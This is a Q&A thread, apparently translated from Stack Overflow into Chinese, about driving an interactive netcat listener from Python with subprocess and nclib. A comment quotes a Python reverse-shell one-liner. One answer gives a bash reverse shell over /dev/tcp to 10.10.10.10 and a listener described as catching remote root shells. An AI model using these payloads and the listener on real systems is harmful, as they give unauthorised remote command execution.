【问题标题】:Control an interactive. netcat connection with Python (subprocess or similar)控制互动。 netcat 与 Python 的连接(子进程或类似的)
【发布时间】:2020-06-12 19:10:34
【问题描述】:

我正在尝试使用 Python 控制 netcat 会话,连接将是这样的:

listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37878                        
id #### ----> user input
uid=0(root) gid=0(root) groups=0(root) #### ----> output
pwd #### ----> user input
/root #### ----> output
exit #### ----> user input

但是,我希望能够在发送之前控制和处理每个输入,以及在显示之前控制和处理每个输出。

我尝试使用子进程,但无法让它工作,我的代码类似于:

#!/usr/bin/python
import subprocess

def listener():
    command = ''
    proc = subprocess.Popen(['nc', '-lvn','1234'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

    while (command != 'exit'):
        command = bytes(input(),'utf-8')
        proc.stdin.write(command)
        print(proc.stdout.readline().decode())

listener()

我无法从另一台机器收到任何正确的输出,我收到的唯一输出是:

sh: no job control in this shell

如果有帮助,我不介意使用除 subprocess 之外的任何其他库。

【问题讨论】:

  • 直接使用socket不是更方便吗?
  • @SamMason 我试过了,但我无法让它工作,请参阅我之前的问题,我询问了我面临的问题,但没有答案。
  • @Ash-Ishh.. 现在测试它,希望它能完成工作。

标签: python python-3.x subprocess


【解决方案1】:

不要重新发明轮子,使用nclib

from nclib import TCPServer
server = TCPServer(('0.0.0.0', 1234))
for client in server:
    print(client.recv()) # print to shell
    client.send(client.recv()) # echo to client

测试:

nc 127.0.0.1 1234

安装:

pip install nclib 

【讨论】:

  • 这对于来回回显数据很有用,我可以使用普通套接字来做到这一点,但是,如果我们使用类似的东西连接到服务器:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'(到 bash 的管道),不幸的是,我们无法将命令传递给 bash 以在另一端执行它们并接收它们的输出。
  • nclib 完全符合您的需要,但您必须阅读文档:buildmedia.readthedocs.org/media/pdf/nclib/latest/nclib.pdf
【解决方案2】:

使用 Python 3 控制交互式 netcat 连接

使用 nclib:

pip install nclib

文档: https://nclib.readthedocs.io/en/latest/

Bash 反向壳

bash --noprofile --posix -i >& /dev/tcp/10.10.10.10/80 0>&1

Python 3 netcat 监听器,输入和输出分别分配给变量 command 和 data。

import nclib


def listener(port):
    """ local netcat listener for reverse bash shell from a remote host. """
    server = nclib.TCPServer(('0.0.0.0', int(port)))
    print("listening ...")
    for client in server:
        print('Connected to %s:%d' % client.peer)
        command = ""
        while command != "exit":
            try:
                # if command was entered by the user
                if len(command) > 0:
                    # read the line to hide command from output
                    if command in client.readln().decode('utf-8').strip(" "):
                        pass  # disregard the last command

                # get output until dollar sign (bash --posix forces bash-X.X$)
                data = client.read_until('$')
                print(data.decode('utf-8'), end="")  # print string of received bytes

                # get user input command and write command to socket
                command = input(" ")
                client.writeln(command)

            # handle exceptions and exiting
            except KeyboardInterrupt:
                print("\nKeyboardInterrupt")
                exit(1)
            except Exception as e:
                print("\nException Occurred\n")
                print(e)
                exit(1)
        print("Disconnected :-)")
        exit(1)

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2011-05-19
    • 1970-01-01
    • 2013-12-09
    • 1970-01-01
    • 2015-05-08
    • 1970-01-01
    • 2023-03-09
    相关资源
    最近更新 更多